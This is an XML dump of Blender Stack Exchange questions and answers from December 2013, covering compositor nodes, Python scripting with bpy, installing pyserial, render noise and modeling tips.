  <row Id="5385" PostTypeId="1" AcceptedAnswerId="5396" CreationDate="2013-12-09T00:57:47.083" Score="1" ViewCount="1585" Body="&lt;p&gt;From &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.64/Compositing_Nodes#Bokeh_Image&quot; rel=&quot;nofollow&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With the Bokeh Image node you can generate a reference image for blurs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are some example uses for this node?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2017-06-20T23:45:12.393" Title="How can the Bokeh Image node be used?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5386" PostTypeId="1" AcceptedAnswerId="5388" CreationDate="2013-12-09T01:13:41.397" Score="3" ViewCount="532" Body="&lt;p&gt;I'm used to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; commenting the current line rather than duplicating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easy enough to change in the user preferences, however it only works when there is a highlighted selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make this work even when nothing is highlighted, so the line with the cursor is commented?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2020-05-05T13:21:08.627" Title="Is there a way to make a shortcut comment the current line?" Tags="&lt;customization&gt;&lt;shortcut&gt;&lt;text-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5387" PostTypeId="1" AcceptedAnswerId="5430" CreationDate="2013-12-09T01:29:16.723" Score="11" ViewCount="5296" Body="&lt;p&gt;I am attempting to make a python script that creates a nodegroup based on some scene properties, however the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.ops.node.html?#bpy.ops.node.group_make&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;group_make&lt;/code&gt;&lt;/a&gt; operator needs to be in a node editor context to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems awkward to try and make a node view temporarily while the script is running, as the plan is to create the nodegroup with a fake user and have the user add it from the add menu in the node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about this? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I have found that you can create node groups without a node editor with &lt;code&gt;bpy.data.node_groups.new&lt;/code&gt; (thanks to &lt;a href=&quot;https://blender.stackexchange.com/questions/5414/how-to-specify-the-name-of-a-node-group-when-creating-it-from-python/5418#comment8623_5418&quot;&gt;ideasman42's comment here&lt;/a&gt;), however I still can't figure out how to add nodes to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I edit the nodes inside nodegroup without a node editor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.types.ShaderNodeGroup.html#bpy.types.ShaderNodeGroup.node_tree&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;node_tree&lt;/code&gt;&lt;/a&gt; for my node group. Here is my problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eq_node = bpy.data.node_groups.new(&quot;Equal&quot;, &quot;ShaderNodeTree&quot;)&#xA;&#xA;tree = eq_node.node_tree #This gives &quot;no such attribute 'node_tree'&quot;. How can I acces the node tree of the node group?&#xA;nodes = tree.nodes&#xA;links = tree.links&#xA;&#xA;#Create nodes in node group here with nodes.new&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-12-11T10:50:11.750" Title="How to handle creating a node group in a script?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5388" PostTypeId="2" ParentId="5386" CreationDate="2013-12-09T01:45:59.553" Score="6" Body="&lt;p&gt;You could create a custom operator and map the following to a shortcut.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.text.move(type='LINE_BEGIN')&#xA;bpy.ops.text.insert(text=&quot;#&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if selecting the line is tiresome you can just automate the selection step then comment&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.text.select_line()&#xA;bpy.ops.text.comment_toggle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating a custom operator would look something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class CommentLineOperator(bpy.types.Operator):&#xA;    bl_idname = 'text.comment_line'&#xA;    bl_label = 'Comment a line'&#xA;&#xA;    def execute(self, context):&#xA;        bpy.ops.text.select_line()&#xA;        bpy.ops.text.comment() &amp;gt;&amp;gt; bpy.ops.text.comment_toggle() since 2.8&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;bpy.utils.register_class(CommentLineOperator)&#xA;bpy.utils.unregister_class(CommentLineOperator)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, you should be able to map a shortcut easily to &lt;code&gt;text.comment_line&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have this load at startup, just save it with a &lt;code&gt;.py&lt;/code&gt; extension and drop it into your &lt;code&gt;scripts/startup/&lt;/code&gt; folder. See &lt;a href=&quot;https://blender.stackexchange.com/questions/2738/how-could-a-single-python-script-run-when-blender-is-started&quot;&gt;How could a single Python script run when Blender is started?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="82890" LastEditDate="2020-05-05T13:21:08.627" LastActivityDate="2020-05-05T13:21:08.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5389" PostTypeId="1" AcceptedAnswerId="5392" CreationDate="2013-12-09T03:32:57.173" Score="4" ViewCount="1107" Body="&lt;p&gt;Here is my attempt at dropping things into water. Unfortunately it did not turn to out well especially at the bottom right and this is at 900 cycles. Are there any ways apart from increasing the cycles to make it look better? I mostly want to fix the colored spots from the above the lemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zOcgr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="12" LastEditDate="2013-12-10T00:11:24.423" LastActivityDate="2017-03-18T02:00:48.963" Title="Increase quality of water render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5390" PostTypeId="1" CreationDate="2013-12-09T06:40:24.207" Score="7" ViewCount="3751" Body="&lt;p&gt;How can I go about getting pyserial installed under win7 64bit for Blenders bundled python distro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have python 2.7 installed for programming outside of blender, and have pyserial installed for that, but I'm trying to get serial data fed into blender which needs pyserial for 3.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try installing pyserial with the &lt;code&gt;pyserial-2.7.win32_py3k.exe&lt;/code&gt; it doesn't find the python installation and I don't know how to point it to the&lt;code&gt;Blender\2.69\python folder&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="599" LastEditDate="2013-12-09T08:38:32.553" LastActivityDate="2013-12-15T04:33:03.500" Title="Installing Pyserial in Blender" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5391" PostTypeId="2" ParentId="5390" CreationDate="2013-12-09T07:22:06.517" Score="-2" Body="&lt;p&gt;First thing be sure that you have installed a 32 bits version of pyhton. I give you the link of python downloading &lt;a href=&quot;http://www.python.org/getit/&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have downloaded a win32 version of pyhton 2.7 and &lt;a href=&quot;https://pypi.python.org/pypi/pyserial&quot; rel=&quot;nofollow&quot;&gt;pyserial-2.7.win32_py3k.exe&lt;/a&gt; the installation should work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to try if the installation has worked, open a 2.7 python console and type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import serial&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have an error the installation of pyserial on python hasn't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have installed you pyserial on pyhton 2.7 you have to install it on blender. First thing : be sure to have a 32 bits version of &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have to copy the serial folder and the pyserial-2.7 - py3.3.egg-info in the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;C:\Python27\Lib\site-packages&lt;/em&gt; folder (python2.7 folder) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and past this folder and file in your blender folder &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;C:\Program Files (x86)\Blender Foundation\Blender\2.69\scripts\modules&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your installation of pyserial on blender is done.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-12-09T07:22:06.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5392" PostTypeId="2" ParentId="5389" CreationDate="2013-12-09T08:25:27.707" Score="4" Body="&lt;p&gt;I'm not entirely sure what part of your render you are asking about, but here are some possibilities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpq9B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;This appears to be caused by &lt;a href=&quot;http://en.wikipedia.org/wiki/Total_internal_reflection&quot; rel=&quot;nofollow noreferrer&quot;&gt;internal reflection&lt;/a&gt; of a light source (judging from the lighting, I would say the light source is behind the camera and a little to the left). Try adjusting the lighting in your scene and see if it improves.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fluid simulation appears to be rendered at a low resolution. Try baking at a higher resolution (e.g. start with &lt;code&gt;100&lt;/code&gt;). If you did bake at high resolution, ensure that the &lt;em&gt;Render&lt;/em&gt; display option is set to &lt;em&gt;Final&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's hard to say what's causing this without looking at your file, but a couple of possibilities are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The geometry of the orange mesh. Ensure that the normals in that area are facing the right way, check for overlapping faces, ensure that there are no holes in the mesh, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bounces. Try increasing the number of &lt;em&gt;Bounces&lt;/em&gt; in &lt;em&gt;Render settings &gt; Light paths&lt;/em&gt; (A fast way to increase all bounce related settings is with the presets, try the &lt;em&gt;Full Global Illumination&lt;/em&gt; preset). This will increase the overall accuracy of the render as well, so you probably want to increase them anyway. Note that more bounces will slow down your render.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To help decrease fireflies, see &lt;a href=&quot;https://blender.stackexchange.com/q/1703/599&quot;&gt;this question&lt;/a&gt;. Some techniques mentioned there are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/optimizations/reducing_noise.html#clamp-fireflies&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Clamp&lt;/em&gt;&lt;/a&gt; option (may or may not be very helpful in this scene, however I thought I would mention it). From the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/settings/integrator.html#render-cycles-integrator-no-caustics&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This option will clamp all samples to a maximum intensity they can&#xA;  contribute to the pixel, again to reduce noise at the cost of&#xA;  accuracy. With value 0.0 this option is disabled; lower values clamp&#xA;  more light away. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the image has fireflies, there will be samples that contribute very&#xA;  high values to pixels, and this option provides a way to limit that.&#xA;  However note that as you clamp out such values, bright colors in other&#xA;  places where there is no noise will be lost as well. So this is a&#xA;  balance between reducing the noise and keeping the image from losing&#xA;  its intended bright colors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render stacking. See the following posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5017/599&quot;&gt;Stacking cycles renders in the compositor?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/3720/599&quot;&gt;Creating renders from Image Stacking using different sampling levels&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/998/599&quot;&gt;How can I pause a render in progress and then resume it at a later time?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/optimizations/reducing_noise.html#glass-and-transparent-shadows&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fake refractive caustics&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/optimizations/reducing_noise.html#caustics-and-filter-glossy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Filter Glossy&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/settings/integrator.html#render-cycles-integrator-no-caustics&quot; rel=&quot;nofollow noreferrer&quot;&gt;No Caustics&lt;/a&gt;&lt;/em&gt; (definitely &lt;strong&gt;not&lt;/strong&gt; useful in this scene, as you need the caustics for light to reach the fruit, but again I thought I would mention it anyway)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/optimizations/reducing_noise.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual page on reducing noise&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2017-03-18T02:00:48.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5393" PostTypeId="1" AcceptedAnswerId="213316" CreationDate="2013-12-09T08:39:57.140" Score="18" ViewCount="21034" Body="&lt;p&gt;Is it possible to generate a random number for use in the node editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the &lt;em&gt;Object Info&lt;/em&gt; node, but I want a random number which I have more control over.&lt;br&gt;&#xA;Ideally I could change it with some sort of &quot;seed&quot; vale and be able to define limits for maximum and minimum values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-09T20:32:59.380" LastActivityDate="2021-02-27T10:17:46.777" Title="Is it possible to get a random number in the node editor?" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5394" PostTypeId="1" AcceptedAnswerId="5420" CreationDate="2013-12-09T08:51:03.303" Score="15" ViewCount="13092" Body="&lt;p&gt;For some reason, sometimes error messages encountered while scripting are not printed in the info panel, only the message &lt;strong&gt;&lt;code&gt;Python script fail, look in the console for now....&lt;/code&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One question I have is:&#xA;Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like working with blender full screen, but it gets annoying having to switch back and forth between the terminal and blender while scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to print &lt;code&gt;stdout&lt;/code&gt; and &lt;code&gt;stderr&lt;/code&gt; (I assume that is where blender is printing these messages) in the UI? (thus also solving the occasional necessity to restart blender because of not starting it from the terminal)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my other question is: How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I realize that this is technically two questions, but they seemed too related to separate.. I'll separate them if it's better that way.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="7568" LastEditDate="2014-10-21T00:58:36.597" LastActivityDate="2017-07-24T12:34:56.740" Title="Is there anyway to make blender print errors in the UI?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;interface&gt;&lt;command-line&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5395" PostTypeId="2" ParentId="5390" CreationDate="2013-12-09T08:55:44.643" Score="6" Body="&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt;&#xA;I don't think there is a way to point a Python module installer to the Blender bundled Python.  So if you must use a third party Blender Python, there are generally 3 ways to go about that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;remove blender python sub-directory, blender will then fallback on the systems python and use that instead. &lt;em&gt;Note that Python version must match the one that blender comes with.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install a Python environment that's the same version as the bundled Blender Python to your system directory. (i.e. Python 3.3 64bit). Then install Pyserial (py3k) into that Python installation. Lastly copy the installed Pyserial module manually to the Blender Python installation under Blender\2.69\python. Installed Python modules can be usually found under the lib/site-package directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Most Python modules are just .py files that can be copies without going through a formal installation process. So, mostly likely, you can try to extract the module files from the installer, and just copy it straight to the Blender Python. This way, you don't have to keep a system Python just for installation purposes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Non-answer:&lt;/strong&gt; Do you really need to install it to the Blender Python? You can set up the PATH variable to basically load a module from any where on the disk.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2013-12-09T11:07:01.540" LastActivityDate="2013-12-09T11:07:01.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5396" PostTypeId="2" ParentId="5385" CreationDate="2013-12-09T09:05:40.013" Score="5" Body="&lt;p&gt;The bokeh Image controls the shape of the out-of-focus area for the Bokeh blur node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, octagonal and circular shapes are very common for most camera lenses. If no bokeh image is supplied, then a circular bokeh is assumed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xfu1m.jpg&quot; alt=&quot;Bokeh Image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-12-09T09:05:40.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5397" PostTypeId="2" ParentId="5309" CreationDate="2013-12-09T09:21:49.447" Score="9" Body="&lt;p&gt;According to the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt;: &quot;MIS helps reduce noise for big lamps and sharp glossy reflections, at the cost of samples rendering a bit slower. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my personal experience: the rendering time with MIS on is actually shorter because it converges to a smoother image sooner. So keeping is on is probably the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple Importance Sampling Off&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ORlPy.png&quot; alt=&quot;Multiple Importance Sampling Off&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiple Importance Sampling On (Default)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8B4fB.png&quot; alt=&quot;Multiple Importance Sampling On (Default)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-12-09T09:21:49.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5398" PostTypeId="2" ParentId="5376" CreationDate="2013-12-09T09:31:54.260" Score="5" Body="&lt;p&gt;The easy way to have any object always facing the camera when you are animating it is to use a Track-To constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P05Sb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep a line between the label and the target subject point a hook modifier can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ryyrB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode you have the option to Assign the modifier to a point of a curve object or vertices for mesh objects. The shortcut for applying hooks is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;. If you select the target and then shift select the object to be deformed and go into edit mode you can choose to attach the hook to the selected object.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-09T09:31:54.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5399" PostTypeId="2" ParentId="5346" CreationDate="2013-12-09T09:43:27.443" Score="10" Body="&lt;p&gt;You can also set up a wrapper script that reload the external Python file you are editing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text file inside Blender:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import importlib&#xA;import myModule&#xA;&#xA;importlib.reload(myModule)&#xA;myModule.runMyCode()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, every time you press Alt+P to run this script, it will automatically reload the latest version of the code from &lt;code&gt;MyModule&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="55" LastEditDate="2016-06-27T06:03:05.577" LastActivityDate="2016-06-27T06:03:05.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5400" PostTypeId="2" ParentId="5376" CreationDate="2013-12-09T09:53:02.863" Score="11" Body="&lt;p&gt;To create animated lines like in the &lt;a href=&quot;http://vimeo.com/27093074&quot; rel=&quot;nofollow noreferrer&quot;&gt;video you linked&lt;/a&gt;, you could use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Curves&lt;/em&gt;&lt;/a&gt; and animate the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Geometry&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;start&lt;/em&gt; and &lt;em&gt;end&lt;/em&gt; bevel&lt;/a&gt; factors. (see this &lt;a href=&quot;https://blender.stackexchange.com/q/3171/599&quot;&gt;related question&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a curve object&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Fill&lt;/em&gt; to &lt;em&gt;Full&lt;/em&gt; in &lt;em&gt;Object Data &gt; Shape&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lKuCW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the &lt;em&gt;depth&lt;/em&gt; in &lt;em&gt;Object data &gt; Geometry &gt; Bevel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TUR4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animate the start and end bevel factors by right clicking and selecting &lt;em&gt;insert keyframe&lt;/em&gt;, or pressing &lt;kbd&gt;I&lt;/kbd&gt; while hovering over it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;E.g. by animating the &lt;em&gt;Start bevel factor&lt;/em&gt; from 1 to 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d2f7t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2013-12-09T10:00:30.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5401" PostTypeId="2" ParentId="5393" CreationDate="2013-12-09T10:21:37.087" Score="21" Body="&lt;p&gt;That would be through drivers. You can add an Input-&gt;Value node to feed into other nodes or add a driver to an editable value on any other node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple way to get random values is edit the value and enter &lt;code&gt;#noise.random()&lt;/code&gt; This will give random values between 0 and 1, you can expand the entry to multiply the value if you want it larger or add a minimum value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get more control over the generated value you can create a script and use &lt;code&gt;bpy.app.driver_namespace[&quot;name&quot;] = funcname&lt;/code&gt; to provide access to any function you define. The script name must end in .py so that you can register it and auto run python scripts also needs to be enabled.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-09T10:21:37.087" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5402" PostTypeId="1" CreationDate="2013-12-09T11:10:51.643" Score="5" ViewCount="4994" Body="&lt;p&gt;How could I make triangular pyramids on each face of an original triangular pyramid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUjqj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1802" LastEditorUserId="12" LastEditDate="2013-12-09T11:36:36.560" LastActivityDate="2013-12-09T11:50:48.323" Title="How to make triangular pyramids on each face of an original triangular pyramid" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5403" PostTypeId="2" ParentId="5402" CreationDate="2013-12-09T11:50:48.323" Score="3" Body="&lt;p&gt;If I didn't misunderstand your question, you can switch to &lt;strong&gt;Edit Mode&lt;/strong&gt;, Make sure all faces are selected by pressing &lt;kbd&gt;A&lt;/kbd&gt;, then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to poke faces, which will create a vertex on each face. Tweak &lt;strong&gt;Poke Offset&lt;/strong&gt; value in its setting panel down to the left-hand Tool Shelf.(or press &lt;kbd&gt;F6&lt;/kbd&gt; to call a separate popup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vo7sk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-09T11:50:48.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5404" PostTypeId="2" ParentId="5393" CreationDate="2013-12-09T13:17:32.443" Score="9" Body="&lt;p&gt;If you are texturing, there is a &quot;random&quot; value in the object info node&lt;img src=&quot;https://i.stack.imgur.com/Jbzml.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not entirely sure what your application is, but there's more info on the object info node at &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also found this post here on stack exchange: &lt;a href=&quot;https://blender.stackexchange.com/questions/1795/random-maps-in-cycles&quot;&gt;Random maps in cycles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-12-09T13:17:32.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
